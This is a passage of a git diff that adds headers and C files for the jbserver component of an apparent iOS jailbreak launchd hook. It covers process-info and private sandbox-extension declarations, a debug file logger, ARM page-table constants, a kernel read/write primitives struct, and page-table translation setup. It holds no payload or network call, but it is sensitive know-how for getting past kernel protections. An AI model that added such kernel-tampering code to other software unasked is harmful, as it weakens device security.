buffersize) __OSX_AVAILABLE_STARTING(__MAC_10_5, __IPHONE_2_0); + +int proc_listpids(uint32_t type, uint32_t typeinfo, void *buffer, int buffersize) __OSX_AVAILABLE_STARTING(__MAC_10_5, __IPHONE_2_0); +int proc_listallpids(void * buffer, int buffersize) __OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_4_1); +int proc_listpgrppids(pid_t pgrpid, void * buffer, int buffersize) __OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_4_1); +int proc_listchildpids(pid_t ppid, void * buffer, int buffersize) __OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_4_1); +int proc_pidinfo(int pid, int flavor, uint64_t arg, void *buffer, int buffersize) __OSX_AVAILABLE_STARTING(__MAC_10_5, __IPHONE_2_0); +int proc_pidfdinfo(int pid, int fd, int flavor, void * buffer, int buffersize) __OSX_AVAILABLE_STARTING(__MAC_10_5, __IPHONE_2_0); +int proc_pidfileportinfo(int pid, uint32_t fileport, int flavor, void *buffer, int buffersize) __OSX_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_4_3); +int proc_name(int pid, void * buffer, uint32_t buffersize) __OSX_AVAILABLE_STARTING(__MAC_10_5, __IPHONE_2_0); +int proc_regionfilename(int pid, uint64_t address, void * buffer, uint32_t buffersize) __OSX_AVAILABLE_STARTING(__MAC_10_5, __IPHONE_2_0); +int proc_kmsgbuf(void * buffer, uint32_t buffersize) __OSX_AVAILABLE_STARTING(__MAC_10_5, __IPHONE_2_0); +int proc_pidpath(int pid, void * buffer, uint32_t buffersize) __OSX_AVAILABLE_STARTING(__MAC_10_5, __IPHONE_2_0); +int proc_libversion(int *major, int * minor) __OSX_AVAILABLE_STARTING(__MAC_10_5, __IPHONE_2_0); + +/* + * Return resource usage information for the given pid, which can be a live process or a zombie. + * + * Returns 0 on success; or -1 on failure, with errno set to indicate the specific error. + */ +int proc_pid_rusage(int pid, int flavor, rusage_info_t *buffer) __OSX_AVAILABLE_STARTING(__MAC_10_9, __IPHONE_7_0); + +/* + * A process can use the following api to set its own process control + * state on resoure starvation. The argument can have one of the PROC_SETPC_XX values + */ +#define PROC_SETPC_NONE 0 +#define PROC_SETPC_THROTTLEMEM 1 +#define PROC_SETPC_SUSPEND 2 +#define PROC_SETPC_TERMINATE 3 + +int proc_setpcontrol(const int control) __OSX_AVAILABLE_STARTING(__MAC_10_6, __IPHONE_3_2); +int proc_setpcontrol(const int control); + +int proc_track_dirty(pid_t pid, uint32_t flags); +int proc_set_dirty(pid_t pid, bool dirty); +int proc_get_dirty(pid_t pid, uint32_t *flags); + +int proc_terminate(pid_t pid, int *sig); + +__END_DECLS + +#endif /*_LIBPROC_H_ */ diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/libproc_private.h b/RootHelperSample/launchdshim/launchdhook/jbserver/libproc_private.h new file mode 100644 index 00000000..aa936ef9 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/jbserver/libproc_private.h @@ -0,0 +1,27 @@ +struct proc_bsdinfo { + uint32_t pbi_flags; /* 64bit; emulated etc */ + uint32_t pbi_status; + uint32_t pbi_xstatus; + uint32_t pbi_pid; + uint32_t pbi_ppid; + uid_t pbi_uid; + gid_t pbi_gid; + uid_t pbi_ruid; + gid_t pbi_rgid; + uid_t pbi_svuid; + gid_t pbi_svgid; + uint32_t rfu_1; /* reserved */ + char pbi_comm[MAXCOMLEN]; + char pbi_name[2 * MAXCOMLEN]; /* empty if no name is registered */ + uint32_t pbi_nfiles; + uint32_t pbi_pgid; + uint32_t pbi_pjobc; + uint32_t e_tdev; /* controlling tty dev */ + uint32_t e_tpgid; /* tty process group id */ + int32_t pbi_nice; + uint64_t pbi_start_tvsec; + uint64_t pbi_start_tvusec; +}; + +#define PROC_PIDTBSDINFO 3 +#define PROC_PIDTBSDINFO_SIZE (sizeof(struct proc_bsdinfo)) \ No newline at end of file diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/log.c b/RootHelperSample/launchdshim/launchdhook/jbserver/log.c new file mode 100644 index 00000000..62f166d5 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/jbserver/log.c @@ -0,0 +1,108 @@ +#include +#include +#include +#include +#include +#include +#include "log.h" + +// #ifdef ENABLE_LOGS + +bool debugLogsEnabled = true; +bool errorLogsEnabled = true; +#define LOGGING_PATH "/var/mobile/" + +const char *JBLogGetProcessName(void) { + static char *processName = NULL; + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ + uint32_t length = 0; + _NSGetExecutablePath(NULL, &length); + char *buf = malloc(length); + _NSGetExecutablePath(buf, &length); + + char delim[] = "/"; + char *last = NULL; + char *ptr = strtok(buf, delim); + while (ptr != NULL) { + last = ptr; + ptr = strtok(NULL, delim); + } + processName = strdup(last); + free(buf); + }); + return processName; +} + + +void JBDLogV(const char *prefix, const char *format, va_list va) { + static char *logFilePath = NULL; + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ + const char *processName = JBLogGetProcessName(); + + time_t t = time(NULL); + //struct tm *tm = localtime(&t); + char timestamp[64]; + sprintf(×tamp[0], "%lu-%d", t, getpid()); + + logFilePath = malloc(strlen(LOGGING_PATH) + strlen(processName) + strlen(timestamp) + 6); + strcpy(logFilePath, LOGGING_PATH); + strcat(logFilePath, processName); + strcat(logFilePath, "-"); + strcat(logFilePath, timestamp); + strcat(logFilePath, ".log"); + }); + + FILE *logFile = fopen(logFilePath, "a"); + if (logFile) { + time_t ltime; + struct tm result; + char stime[32]; + ltime = time(NULL); + + __uint64_t tid = 0; + pthread_threadid_np(0, &tid); + fprintf(logFile, "[%lu] [%lld] [%s] ", ltime, tid, prefix); + vfprintf(logFile, format, va); + fprintf(logFile, "\n"); + + fflush(logFile); + fsync(fileno(logFile)); + fclose(logFile); + } +} + +bool jblogenable = false; + +void JBLogDebug(const char *format, ...) { + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ + if (access(LOGGING_PATH "/.jblogenable", F_OK) == 0) jblogenable = true; + }); + + if (!jblogenable) return; + + if (!debugLogsEnabled) return; + va_list va; + va_start(va, format); + JBDLogV("DEBUG", format, va); + va_end(va); +} + +void JBLogError(const char *format, ...) { + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ + if (access(LOGGING_PATH "/.jblogenable", F_OK) == 0) jblogenable = true; + }); + + if (!jblogenable) return; + + if (!errorLogsEnabled) return; + va_list va; + va_start(va, format); + JBDLogV("ERROR", format, va); + va_end(va); +} + +// #endif diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/log.h b/RootHelperSample/launchdshim/launchdhook/jbserver/log.h new file mode 100644 index 00000000..f984de3e --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/jbserver/log.h @@ -0,0 +1,14 @@ +#ifdef DEBUG +#define ENABLE_LOGS +#endif + +#ifdef ENABLE_LOGS +void JBLogDebug(const char *format, ...); +void JBLogError(const char *format, ...); +#else +#define JBLogDebug(format ...) +#define JBLogError(format ...) +#endif + +//#define JBLogDebug(format ...) NSLog(@format) +//#define JBLogError(format ...) NSLog(@format) diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/machine_info.h b/RootHelperSample/launchdshim/launchdhook/jbserver/machine_info.h new file mode 100644 index 00000000..e3b97317 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/jbserver/machine_info.h @@ -0,0 +1,56 @@ +#ifndef MACHINE_INFO_H +#define MACHINE_INFO_H + +#include + +/* A8 */ +#ifndef CPUFAMILY_ARM_TYPHOON +#define CPUFAMILY_ARM_TYPHOON 0x2c91a47e +#endif + +/* A9 */ +#ifndef CPUFAMILY_ARM_TWISTER +#define CPUFAMILY_ARM_TWISTER 0x92fb37c8 +#endif + +/* A10 */ +#ifndef CPUFAMILY_ARM_HURRICANE +#define CPUFAMILY_ARM_HURRICANE 0x67ceee93 +#endif + +/* A11 */ +#ifndef CPUFAMILY_ARM_MONSOON_MISTRAL +#define CPUFAMILY_ARM_MONSOON_MISTRAL 0xe81e7ef6 +#endif + +/* A12 */ +#ifndef CPUFAMILY_ARM_VORTEX_TEMPEST +#define CPUFAMILY_ARM_VORTEX_TEMPEST 0x07d34b9f +#endif + +/* A13 */ +#ifndef CPUFAMILY_ARM_LIGHTNING_THUNDER +#define CPUFAMILY_ARM_LIGHTNING_THUNDER 0x462504d2 +#endif + +/* A14 */ +#ifndef CPUFAMILY_ARM_FIRESTORM_ICESTORM +#define CPUFAMILY_ARM_FIRESTORM_ICESTORM 0x1b588bb3 +#endif + +/* A15 */ +#ifndef CPUFAMILY_ARM_BLIZZARD_AVALANCHE +#define CPUFAMILY_ARM_BLIZZARD_AVALANCHE 0xda33d83d +#endif + +/* A16 */ +#ifndef CPUFAMILY_ARM_EVEREST_SAWTOOTH +#define CPUFAMILY_ARM_EVEREST_SAWTOOTH 0x8765edea +#endif + +/* A17 */ +#ifndef CPUFAMILY_ARM_COLL +#define CPUFAMILY_ARM_COLL 0x2876f5b5 +#endif + +#endif /* MACHINE_INFO_H */ diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/primitives_external.h b/RootHelperSample/launchdshim/launchdhook/jbserver/primitives_external.h new file mode 100644 index 00000000..f58b375b --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/jbserver/primitives_external.h @@ -0,0 +1,33 @@ +#ifndef PRIMITIVES_EXTERNAL_H +#define PRIMITIVES_EXTERNAL_H + +typedef struct { + uint64_t unk; + uint64_t x[29]; + uint64_t fp; + uint64_t lr; + uint64_t sp; + uint64_t pc; + uint32_t cpsr; + // Other stuff + uint64_t other[70]; +} kRegisterState; + +struct kernel_primitives { + int (*kreadbuf)(uint64_t kaddr, void* output, size_t size); + int (*kwritebuf)(uint64_t kaddr, const void* input, size_t size); + // int (*physreadbuf)(uint64_t physaddr, void* output, size_t size); + // int (*physwritebuf)(uint64_t physaddr, const void* input, size_t size); + // uint64_t (*kcall)(uint64_t func, int argc, const uint64_t *argv); + // void (*kexec)(kRegisterState *state); + // int (*kalloc_global)(uint64_t *addr, uint64_t size); + // int (*kalloc_local)(uint64_t *addr, uint64_t size); + // int (*kfree_global)(uint64_t addr, uint64_t size); + // int (*kmap)(uint64_t pa, uint64_t size, void **uaddr); + uint64_t (*vtophys)(uint64_t ttep, uint64_t va); + uint64_t (*phystokv)(uint64_t pa); +}; + +extern struct kernel_primitives gPrimitives; + +#endif diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/pte.h b/RootHelperSample/launchdshim/launchdhook/jbserver/pte.h new file mode 100644 index 00000000..7ecc0725 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/jbserver/pte.h @@ -0,0 +1,105 @@ +#ifndef PTE_H +#define PTE_H + +#define PTE_NON_GLOBAL (1 << 11) +#define PTE_VALID (1 << 10) // Access flag +#define PTE_OUTER_SHAREABLE (2 << 8) +#define PTE_INNER_SHAREABLE (3 << 8) + +//#define PTE_LEVEL2_BLOCK PTE_VALID | (0x1) +#define PTE_LEVEL2_BLOCK PTE_VALID | (0x0) +#define PTE_LEVEL3_ENTRY PTE_VALID | 0x3 + +#define KRW_URW_PERM (0x60000000000040) +#define KRW_UR_PERM (0x600000000000C0) + +#define PTE_RESERVED (0x3) +#define PTE_REUSEABLE (0x1) +#define PTE_UNUSED (0x0) + +#define P_PAGE_SIZE 0x4000 +#define P_PAGE_MASK 0x3FFF + +#define PTE_TO_PERM(pte) ((((pte) >> 4ULL) & 0xC) | (((pte) >> 52ULL) & 2) | (((pte) >> 54ULL) & 1)) +#define _PERM_TO_PTE(perm) ((((perm) & 0xC) << 4ULL) | (((perm) & 2) << 52ULL) | (((perm) & 1) << 54ULL)) +#define PERM_TO_PTE(perm) _PERM_TO_PTE((uint64_t) (perm)) + +#define AP_RWNA (0x0ull << 6) +#define AP_RWRW (0x1ull << 6) +#define AP_RONA (0x2ull << 6) +#define AP_RORO (0x3ull << 6) + +#define ARM_PTE_TYPE 0x0000000000000003ull +#define ARM_PTE_TYPE_VALID 0x0000000000000003ull +#define ARM_PTE_TYPE_MASK 0x0000000000000002ull +#define ARM_TTE_TYPE_L3BLOCK 0x0000000000000002ull +#define ARM_PTE_ATTRINDX 0x000000000000001cull +#define ARM_PTE_NS 0x0000000000000020ull +#define ARM_PTE_AP 0x00000000000000c0ull +#define ARM_PTE_SH 0x0000000000000300ull +#define ARM_PTE_AF 0x0000000000000400ull +#define ARM_PTE_NG 0x0000000000000800ull +#define ARM_PTE_ZERO1 0x000f000000000000ull +#define ARM_PTE_HINT 0x0010000000000000ull +#define ARM_PTE_PNX 0x0020000000000000ull +#define ARM_PTE_NX 0x0040000000000000ull +#define ARM_PTE_ZERO2 0x0380000000000000ull +#define ARM_PTE_WIRED 0x0400000000000000ull +#define ARM_PTE_WRITEABLE 0x0800000000000000ull +#define ARM_PTE_ZERO3 0x3000000000000000ull +#define ARM_PTE_COMPRESSED_ALT 0x4000000000000000ull +#define ARM_PTE_COMPRESSED 0x8000000000000000ull + +#define ARM_TTE_VALID 0x0000000000000001ull +#define ARM_TTE_TYPE_MASK 0x0000000000000002ull +#define ARM_TTE_TYPE_TABLE 0x0000000000000002ull +#define ARM_TTE_TYPE_BLOCK 0x0000000000000000ull +#define ARM_TTE_TABLE_MASK 0x0000fffffffff000ull +#define ARM_TTE_PA_MASK 0x0000fffffffff000ull + +#define PMAP_TT_L0_LEVEL 0x0 +#define PMAP_TT_L1_LEVEL 0x1 +#define PMAP_TT_L2_LEVEL 0x2 +#define PMAP_TT_L3_LEVEL 0x3 + +#define ARM_16K_TT_L0_SIZE 0x0000800000000000ull +#define ARM_16K_TT_L0_OFFMASK 0x00007fffffffffffull +#define ARM_16K_TT_L0_SHIFT 47 +#define ARM_16K_TT_L0_INDEX_MASK 0x0000800000000000ull + +#define ARM_16K_TT_L1_SIZE 0x0000001000000000ull +#define ARM_16K_TT_L1_OFFMASK 0x0000000fffffffffull +#define ARM_16K_TT_L1_SHIFT 36 +#define ARM_16K_TT_L1_INDEX_MASK 0x0000007000000000ull + +#define ARM_16K_TT_L2_SIZE 0x0000000002000000ull +#define ARM_16K_TT_L2_OFFMASK 0x0000000001ffffffull +#define ARM_16K_TT_L2_SHIFT 25 +#define ARM_16K_TT_L2_INDEX_MASK 0x0000000ffe000000ull + +#define ARM_16K_TT_L3_SIZE 0x0000000000004000ull +#define ARM_16K_TT_L3_OFFMASK 0x0000000000003fffull +#define ARM_16K_TT_L3_SHIFT 14 +#define ARM_16K_TT_L3_INDEX_MASK 0x0000000001ffc000ull + +#define ARM_4K_TT_L0_SIZE 0x0000008000000000ULL +#define ARM_4K_TT_L0_OFFMASK 0x0000007fffffffffULL +#define ARM_4K_TT_L0_SHIFT 39 +#define ARM_4K_TT_L0_INDEX_MASK 0x0000ff8000000000ULL + +#define ARM_4K_TT_L1_SIZE 0x0000000040000000ULL +#define ARM_4K_TT_L1_OFFMASK 0x000000003fffffffULL +#define ARM_4K_TT_L1_SHIFT 30 +#define ARM_4K_TT_L1_INDEX_MASK 0x0000003fc0000000ULL + +#define ARM_4K_TT_L2_SIZE 0x0000000000200000ULL +#define ARM_4K_TT_L2_OFFMASK 0x00000000001fffffULL +#define ARM_4K_TT_L2_SHIFT 21 +#define ARM_4K_TT_L2_INDEX_MASK 0x000000003fe00000ULL + +#define ARM_4K_TT_L3_SIZE 0x0000000000001000ULL +#define ARM_4K_TT_L3_OFFMASK 0x0000000000000fffULL +#define ARM_4K_TT_L3_SHIFT 12 +#define ARM_4K_TT_L3_INDEX_MASK 0x00000000001ff000ULL + +#endif diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/pvh.h b/RootHelperSample/launchdshim/launchdhook/jbserver/pvh.h new file mode 100644 index 00000000..87bb09d7 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/jbserver/pvh.h @@ -0,0 +1,24 @@ +#ifndef PVH_H +#define PVH_H + +#define PVH_TYPE_MASK (0x3UL) +#define PVH_LIST_MASK (~PVH_TYPE_MASK) +#define PVH_FLAG_CPU (1ULL << 62) +#define PVH_LOCK_BIT 61 +#define PVH_FLAG_LOCK (1ULL << PVH_LOCK_BIT) +#define PVH_FLAG_EXEC (1ULL << 60) +#define PVH_FLAG_LOCKDOWN_KC (1ULL << 59) +#define PVH_FLAG_HASHED (1ULL << 58) +#define PVH_FLAG_LOCKDOWN_CS (1ULL << 57) +#define PVH_FLAG_LOCKDOWN_RO (1ULL << 56) +#define PVH_FLAG_FLUSH_NEEDED (1ULL << 54) +#define PVH_FLAG_LOCKDOWN_MASK (PVH_FLAG_LOCKDOWN_KC | PVH_FLAG_LOCKDOWN_CS | PVH_FLAG_LOCKDOWN_RO) +#define PVH_HIGH_FLAGS (PVH_FLAG_CPU | PVH_FLAG_LOCK | PVH_FLAG_EXEC | PVH_FLAG_LOCKDOWN_MASK | \ + PVH_FLAG_HASHED | PVH_FLAG_FLUSH_NEEDED) + +#define PVH_TYPE_NULL 0x0UL +#define PVH_TYPE_PVEP 0x1UL +#define PVH_TYPE_PTEP 0x2UL +#define PVH_TYPE_PTDP 0x3UL + +#endif \ No newline at end of file diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/sandbox.h b/RootHelperSample/launchdshim/launchdhook/jbserver/sandbox.h new file mode 100644 index 00000000..f4fec359 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/jbserver/sandbox.h @@ -0,0 +1,123 @@ +#ifndef __SANDBOX_H__ +#define __SANDBOX_H__ + +#include +#include + +enum sandbox_filter_type { + SANDBOX_FILTER_NONE, + SANDBOX_FILTER_PATH, + SANDBOX_FILTER_GLOBAL_NAME, + SANDBOX_FILTER_LOCAL_NAME, + SANDBOX_FILTER_APPLEEVENT_DESTINATION, + SANDBOX_FILTER_RIGHT_NAME, + SANDBOX_FILTER_PREFERENCE_DOMAIN, + SANDBOX_FILTER_KEXT_BUNDLE_ID, + SANDBOX_FILTER_INFO_TYPE, + SANDBOX_FILTER_NOTIFICATION, + // ? + // ? + SANDBOX_FILTER_XPC_SERVICE_NAME = 12, + SANDBOX_FILTER_IOKIT_CONNECTION, + // ? + // ? + // ? + // ? +}; + +enum sandbox_extension_flags { + FS_EXT_DEFAULTS = 0, + FS_EXT_FOR_PATH = (1 << 0), + FS_EXT_FOR_FILE = (1 << 1), + FS_EXT_READ = (1 << 2), + FS_EXT_WRITE = (1 << 3), + FS_EXT_PREFER_FILEID = (1 << 4), +}; + +enum sandbox_extension_types { + EXTENSION_TYPE_FILE, + EXTENSION_TYPE_MACH, + EXTENSION_TYPE_IOKIT_REGISTRY_ENTRY, + EXTENSION_TYPE_GENERIC, + EXTENSION_TYPE_POSIX, + EXTENSION_TYPE_PREFERENCE, + EXTENSION_TYPE_SYSCTL, + EXTENSION_TYPE_MAX /* last */ +}; + +#define EXTENSION_FLAG_INVALID (1 << 0) +#define EXTENSION_FLAG_CANONICAL (1 << 1) +#define EXTENSION_FLAG_PREFIXMATCH (1 << 2) /* Not for paths. */ +#define EXTENSION_FLAG_PATHLITERAL (1 << 3) /* Only for paths. */ +#define EXTENSION_FLAG_NO_REPORT (1 << 4) +#define EXTENSION_FLAG_BIND_PID (1 << 16) +#define EXTENSION_FLAG_BIND_PIDVERSION (1 << 17) + +#define MAX_TOKEN_SIZE 2048 + +struct syscall_extension_issue_args { + uint64_t extension_class; + uint64_t extension_type; + uint64_t extension_data; + uint64_t extension_flags; + uint64_t extension_token; /* out */ + int64_t extension_pid; + int64_t extension_pid_version; +}; + +extern const char *APP_SANDBOX_IOKIT_CLIENT; +extern const char *APP_SANDBOX_MACH; +extern const char *APP_SANDBOX_READ; +extern const char *APP_SANDBOX_READ_WRITE; + +extern const char *IOS_SANDBOX_APPLICATION_GROUP; +extern const char *IOS_SANDBOX_CONTAINER; + +extern const enum sandbox_filter_type SANDBOX_CHECK_ALLOW_APPROVAL; +extern const enum sandbox_filter_type SANDBOX_CHECK_CANONICAL; +extern const enum sandbox_filter_type SANDBOX_CHECK_NOFOLLOW; +extern const enum sandbox_filter_type SANDBOX_CHECK_NO_APPROVAL; +extern const enum sandbox_filter_type SANDBOX_CHECK_NO_REPORT; + +extern const uint32_t SANDBOX_EXTENSION_CANONICAL; +extern const uint32_t SANDBOX_EXTENSION_DEFAULT; +extern const uint32_t SANDBOX_EXTENSION_MAGIC; +extern const uint32_t SANDBOX_EXTENSION_NOFOLLOW; +extern const uint32_t SANDBOX_EXTENSION_NO_REPORT; +extern const uint32_t SANDBOX_EXTENSION_NO_STORAGE_CLASS; +extern const uint32_t SANDBOX_EXTENSION_PREFIXMATCH; +extern const uint32_t SANDBOX_EXTENSION_UNRESOLVED; + +int sandbox_init(const char *profile, uint64_t flags, char **errorbuf); +int sandbox_init_with_parameters(const char *profile, uint64_t flags, const char *const parameters[], char **errorbuf); +int sandbox_init_with_extensions(const char *profile, uint64_t flags, const char *const extensions[], char **errorbuf); + +int sandbox_check(pid_t pid, const char *operation, enum sandbox_filter_type, ...); +int sandbox_check_by_audit_token(audit_token_t, const char *operation, enum sandbox_filter_type, ...); +int sandbox_check_by_uniqueid(uid_t, pid_t, const char *operation, enum sandbox_filter_type, ...); + +int64_t sandbox_extension_consume(const char *extension_token); +char *sandbox_extension_issue_file(const char *extension_class, const char *path, uint32_t flags); +char *sandbox_extension_issue_file_to_process(const char *extension_class, const char *path, uint32_t flags, audit_token_t); +char *sandbox_extension_issue_file_to_process_by_pid(const char *extension_class, const char *path, uint32_t flags, pid_t); +char *sandbox_extension_issue_file_to_self(const char *extension_class, const char *path, uint32_t flags); +char *sandbox_extension_issue_generic(const char *extension_class, uint32_t flags); +char *sandbox_extension_issue_generic_to_process(const char *extension_class, uint32_t flags, audit_token_t); +char *sandbox_extension_issue_generic_to_process_by_pid(const char *extension_class, uint32_t flags, pid_t); +char *sandbox_extension_issue_iokit_registry_entry_class(const char *extension_class, const char *registry_entry_class, uint32_t flags); +char *sandbox_extension_issue_iokit_registry_entry_class_to_process(const char *extension_class, const char *registry_entry_class, uint32_t flags, audit_token_t); +char *sandbox_extension_issue_iokit_registry_entry_class_to_process_by_pid(const char *extension_class, const char *registry_entry_class, uint32_t flags, pid_t); +char *sandbox_extension_issue_iokit_user_client_class(const char *extension_class, const char *registry_entry_class, uint32_t flags); +char *sandbox_extension_issue_mach(const char *extension_class, const char *name, uint32_t flags); +char *sandbox_extension_issue_mach_to_process(const char *extension_class, const char *name, uint32_t flags, audit_token_t); +char *sandbox_extension_issue_mach_to_process_by_pid(const char *extension_class, const char *name, uint32_t flags, pid_t); +char *sandbox_extension_issue_posix_ipc(const char *extension_class, const char *name, uint32_t flags); + +void sandbox_extension_reap(void); +int sandbox_extension_release(int64_t extension_handle); +int sandbox_extension_release_file(int64_t extension_handle, const char *path); +int sandbox_extension_update_file(int64_t extension_handle, const char *path); + +int __sandbox_ms(const char *policyname, int call, void *arg); + +#endif \ No newline at end of file diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/translation.c b/RootHelperSample/launchdshim/launchdhook/jbserver/translation.c new file mode 100644 index 00000000..097ba4c5 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/jbserver/translation.c @@ -0,0 +1,186 @@ +#include "translation.h" +// #include "primitives.h" +#include "../fun/krw.h" +#include "kernel.h" +#include "info.h" +#include +#include + +struct tt_level { + uint64_t offMask; + uint64_t shift; + uint64_t indexMask; + uint64_t validMask; + uint64_t typeMask; + uint64_t typeBlock; +}; +struct tt_level arm_tt_level[4]; + +// Address translation physical <-> virtual + +// uint64_t phystokv(uint64_t pa) +// { +// const uint64_t PTOV_TABLE_SIZE = 8; +// struct ptov_table_entry { +// uint64_t pa; +// uint64_t va; +// uint64_t len; +// } ptov_table[PTOV_TABLE_SIZE]; +// kreadbuf(ksymbol(ptov_table), &ptov_table[0], sizeof(ptov_table)); + +// for (uint64_t i = 0; (i < PTOV_TABLE_SIZE) && (ptov_table[i].len != 0); i++) { +// if ((pa >= ptov_table[i].pa) && (pa < (ptov_table[i].pa + ptov_table[i].len))) { +// return pa - ptov_table[i].pa + ptov_table[i].va; +// } +// } + +// return pa - kconstant(physBase) + kconstant(virtBase); +// } + +// uint64_t vtophys_lvl(uint64_t tte_ttep, uint64_t va, uint64_t *leaf_level, uint64_t *leaf_tte_ttep) +// { +// errno = 0; +// const uint64_t ROOT_LEVEL = PMAP_TT_L1_LEVEL; +// const uint64_t LEAF_LEVEL = *leaf_level; + +// uint64_t pa = 0; + +// bool physical = !(bool)(tte_ttep & 0xf000000000000000); + +// for (uint64_t curLevel = ROOT_LEVEL; curLevel <= LEAF_LEVEL; curLevel++) { +// if (curLevel > PMAP_TT_L3_LEVEL) { +// errno = 1041; +// return 0; +// } + +// struct tt_level *lvlp = &arm_tt_level[curLevel]; +// uint64_t tteIndex = (va & lvlp->indexMask) >> lvlp->shift; +// uint64_t tteEntry = 0; +// // if (physical) { +// // uint64_t tte_pa = tte_ttep + (tteIndex * sizeof(uint64_t)); +// // tteEntry = physread64(tte_pa); +// // if (leaf_tte_ttep) *leaf_tte_ttep = tte_pa; +// // if (leaf_level) *leaf_level = curLevel; +// // } else { +// // if (gPrimitives.kreadbuf && !physical) { +// uint64_t tte_va = tte_ttep + (tteIndex * sizeof(uint64_t)); +// tteEntry = kread64(tte_va); +// if (leaf_tte_ttep) *leaf_tte_ttep = tte_va; +// if (leaf_level) *leaf_level = curLevel; +// // } +// // else { +// // printf("WARNING: Failed %s translation, no function to do it.\n", physical ? "physical" : "virtual"); +// // errno = 1043; +// // return 0; +// // } + +// if ((tteEntry & lvlp->validMask) != lvlp->validMask) { +// errno = 1042; +// return 0; +// } + +// if ((tteEntry & lvlp->typeMask) == lvlp->typeBlock) { +// // Found block mapping, no matter what level we are in, this is the end +// return ((tteEntry & ARM_TTE_PA_MASK & ~lvlp->offMask) | (va & lvlp->offMask)); +// } + +// if (physical) { +// tte_ttep = tteEntry & ARM_TTE_TABLE_MASK; +// } +// else { +// tte_ttep = phystokv(tteEntry & ARM_TTE_TABLE_MASK); +// } +// } + +// // If we end up here, it means we did not find a block mapping +// // In this case, return the last page table address we traversed +// return tte_ttep; +// } + +// uint64_t vtophys(uint64_t tte_ttep, uint64_t va) +// { +// uint64_t level = PMAP_TT_L3_LEVEL; +// return vtophys_lvl(tte_ttep, va, &level, NULL); +// } + +// uint64_t kvtophys(uint64_t va) +// { +// return vtophys(kconstant(cpuTTEP), va); +// } + +void libjailbreak_translation_init(void) +{ + // A9+: Kernel uses 16K pages + if (vm_real_kernel_page_size == 0x4000) { + arm_tt_level[0] = (struct tt_level){ + .offMask = ARM_16K_TT_L0_OFFMASK, + .shift = ARM_16K_TT_L0_SHIFT, + .indexMask = ARM_16K_TT_L0_INDEX_MASK, + .validMask = ARM_TTE_VALID, + .typeMask = ARM_TTE_TYPE_MASK, + .typeBlock = ARM_TTE_TYPE_BLOCK, + }; + arm_tt_level[1] = (struct tt_level){ + .offMask = ARM_16K_TT_L1_OFFMASK, + .shift = ARM_16K_TT_L1_SHIFT, + .indexMask = kconstant(ARM_TT_L1_INDEX_MASK), + .validMask = ARM_TTE_VALID, + .typeMask = ARM_TTE_TYPE_MASK, + .typeBlock = ARM_TTE_TYPE_BLOCK, + }; + arm_tt_level[2] = (struct tt_level){ + .offMask = ARM_16K_TT_L2_OFFMASK, + .shift = ARM_16K_TT_L2_SHIFT, + .indexMask = ARM_16K_TT_L2_INDEX_MASK, + .validMask = ARM_TTE_VALID, + .typeMask = ARM_TTE_TYPE_MASK, + .typeBlock = ARM_TTE_TYPE_BLOCK, + }; + arm_tt_level[3] = (struct tt_level){ + .offMask = ARM_16K_TT_L3_OFFMASK, + .shift = ARM_16K_TT_L3_SHIFT, + .indexMask = ARM_16K_TT_L3_INDEX_MASK, + .validMask = ARM_TTE_VALID, + .typeMask = ARM_TTE_TYPE_MASK, + .typeBlock = ARM_TTE_TYPE_L3BLOCK, + }; + } + // A8: Kernel uses 4k pages + else if (vm_real_kernel_page_size == 0x1000) { + arm_tt_level[0] = (struct tt_level){ + .offMask = ARM_4K_TT_L0_OFFMASK, + .shift = ARM_4K_TT_L0_SHIFT, + .indexMask = ARM_4K_TT_L0_INDEX_MASK, + .validMask = ARM_TTE_VALID, + .typeMask = ARM_TTE_TYPE_MASK, + .typeBlock = ARM_TTE_TYPE_BLOCK, + }; + arm_tt_level[1] = (struct tt_level){ + .offMask = ARM_4K_TT_L1_OFFMASK, + .shift = ARM_4K_TT_L1_SHIFT, + .indexMask = kconstant(ARM_TT_L1_INDEX_MASK), + .validMask = ARM_TTE_VALID, + .typeMask = ARM_TTE_TYPE_MASK, + .typeBlock = ARM_TTE_TYPE_BLOCK, + }; + arm_tt_level[2] = (struct tt_level){ + .offMask = ARM_4K_TT_L2_OFFMASK, + .shift = ARM_4K_TT_L2_SHIFT, + .indexMask = ARM_4K_TT_L2_INDEX_MASK, + .validMask = ARM_TTE_VALID, + .typeMask = ARM_TTE_TYPE_MASK, + .typeBlock = ARM_TTE_TYPE_BLOCK, + }; + arm_tt_level[3] = (struct tt_level){ + .offMask = ARM_4K_TT_L3_OFFMASK, + .shift = ARM_4K_TT_L3_SHIFT, + .indexMask = ARM_4K_TT_L3_INDEX_MASK, + .validMask = ARM_TTE_VALID, + .typeMask = ARM_TTE_TYPE_MASK, + .typeBlock = ARM_TTE_TYPE_L3BLOCK, + }; + } + + // gPrimitives.phystokv = phystokv; + // gPrimitives.vtophys = vtophys; +} \ No newline at end of file diff --git a/RootHelperSample/launchdshim/launchdhook/jbserver/translation.h b/RootHelperSample/launchdshim/launchdhook/jbserver/translation.h new file mode 100644 index 00000000..2a20ada2 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/jbserver/translation.h @@ -0,0 